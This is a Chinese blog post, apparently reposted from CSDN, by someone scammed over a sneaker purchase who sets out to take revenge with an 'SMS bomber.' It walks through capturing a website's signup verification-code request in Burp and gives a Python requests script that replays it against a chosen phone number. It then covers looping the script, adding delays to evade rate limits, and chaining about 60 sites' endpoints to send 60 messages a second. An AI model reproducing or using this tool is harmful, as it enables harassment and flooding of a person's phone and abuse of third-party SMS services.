骗子居然敢骗我的钱!看我不用Python短信轰炸死他!老实把钱还我

最近微信上突然有好友加我!我以为是认识的同事或者朋友什么的,就同意了,加了之后发现确实不认识她,还是还聊的很开吧!就慢慢的降低了自己的防备心理!聊一些生活的琐事家常,不得不说,这个销售人员做的很好,估计是个老销售了!

有聊到一些穿衣啊穿鞋等这上面,然后这个人就和我一直聊品牌啥的,问我最喜欢穿啥鞋子等!我也就直话直说,然后聊来聊去她就说她一个堂哥还是啥的,是那个品牌的区域经理,找他拿鞋子要便宜了一半。然后我就抱着玩玩的心态就找她了解了一下,虽然我本人不喜欢穿AJ啊,但是这鞋子现在很火嘛,所以就刻意问了一下,她想都没想就说只需要600左右,看几代才能决定价格,这不我弟弟还在学校读书嘛。也想穿AJ,我也就想给他买一双,大不了就当是在拼多多上面买了一双嘛,到晚上我就给她转账了六百多,地址电话啥都给给她了,第二天起来问她有没有搞定,没想到我看到了一个红色感叹号,这就很令人气氛了,居然敢坑我!

由于当时没想这么多,所以具体微信也没有截图,就记得电话号码。然后我就写了一个短信轰炸,她不把钱还给我,我是不会停止的,一秒钟可是六十条,还是很恐怖的~!好了接下来就是重点了。看我是如何写出这个轰炸机的!小编温馨提示:不可用于非法用途,后果自负!

加群:548377875   即可获取数十套PDF哦!

首先

这是一个网站,他的业务存在短信发送

骗子居然敢骗我的钱!看我不用Python短信轰炸死他!老实把钱还我

这个时候,我们打开神器burp或者其他抓包工具(最好用burp,因为repeater模块可以满足我们的需要)

这时候我给我的火狐挂上代理,然后burp开启拦截

骗子居然敢骗我的钱!看我不用Python短信轰炸死他!老实把钱还我

扫描二维码关注公众号,回复: 3567556 查看本文章

骗子居然敢骗我的钱!看我不用Python短信轰炸死他!老实把钱还我

骗子居然敢骗我的钱!看我不用Python短信轰炸死他!老实把钱还我

{"mobile":"13xxxxxx","type":"signup"}

这个是发送的数据,go走起

看返回的包可以看到是成功的

骗子居然敢骗我的钱!看我不用Python短信轰炸死他!老实把钱还我

骗子居然敢骗我的钱!看我不用Python短信轰炸死他!老实把钱还我

import requests
import json
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0','Cookie': 'da_a=77206194','Referer': 'http://www.demlution.com/'}
#data =
#print data
r = requests.post('/capi/v1/dmhome/send_token',data=json.dumps({"mobile":"手机号码","type":"signup"}),headers=headers)
 
 
print(r.text)

先进行测试,测试完成后可以for循环加强脚本的威力,经过我的研究发现当一个号码多次提交后会被ban,如我一次性发了10个包后(也就是发了十条短信)之后的这个号码就不会再发了,即使返回的包状态是成功,但是短信是发不到的,其实我们可以停顿十秒再发下一个,这样就不会被ban,这也是测试知道的

好了,今天我就说道这吧,可能大家会说就一个号码我直接加入黑名单就ok了,的确,但是我们可以挖掘这类型的网站,然后一个一个接口发送一次,60个接口,一秒钟就60条短信,威力还是可以的,附上成功的图片

骗子居然敢骗我的钱!看我不用Python短信轰炸死他!老实把钱还我

骗子居然敢骗我的钱!看我不用Python短信轰炸死他!老实把钱还我

是不是很简单啊!切记不能商用,不能侵犯他人权益哦!源码自己下载哈!

猜你喜欢

转载自blog.csdn.net/qq_42156420/article/details/82981885
今日推荐